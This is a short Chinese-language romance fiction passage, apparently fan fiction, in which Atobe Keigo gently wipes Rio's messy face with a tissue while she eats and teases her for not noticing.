“嗯?”她从碗里抬起垂落的长睫,眨了眨眼,脸颊鼓鼓囊囊的像啃胡萝卜的兔,“唔……会长,怎么了?” 他指了指自己的侧脸:“这里。” 这里?她的脸吗?她的脸怎么了? 梨央停下搅拌动作,不明所以地在他的隔空指挥下,笨拙摸索自己的脸颊。 什么都没摸到。 她疑惑地接上他的视线。 额发底下,蓝色的眼瞳堆着灰,泛出远处奔流波荡的海水。 这一浪海水到达她站立的岸边,没有褪成平静无波的水流,也没有激涌成飞溅的泡沫。它推起阵阵涟漪,柔和抚摩她的脸颊。 随后,她真的感觉到了轻柔的触感。 迹部景吾笑着扯出纸巾。间隔这一层薄软,指节轻轻蹭了蹭她的耳下。 耳尖也被波及,在慢慢发热,发红。 她躲闪着避开他的目光,捂住自己的耳朵。腕骨间跳动的脉搏声像鼓点,贴于耳际,一下一下震进耳膜。 “呵。” 鼓点中,一声低沉的轻笑缭绕进来。 头顶垂下迹部景吾乐在其中的语调。 “吃得这么专心,脸花了都不知道。”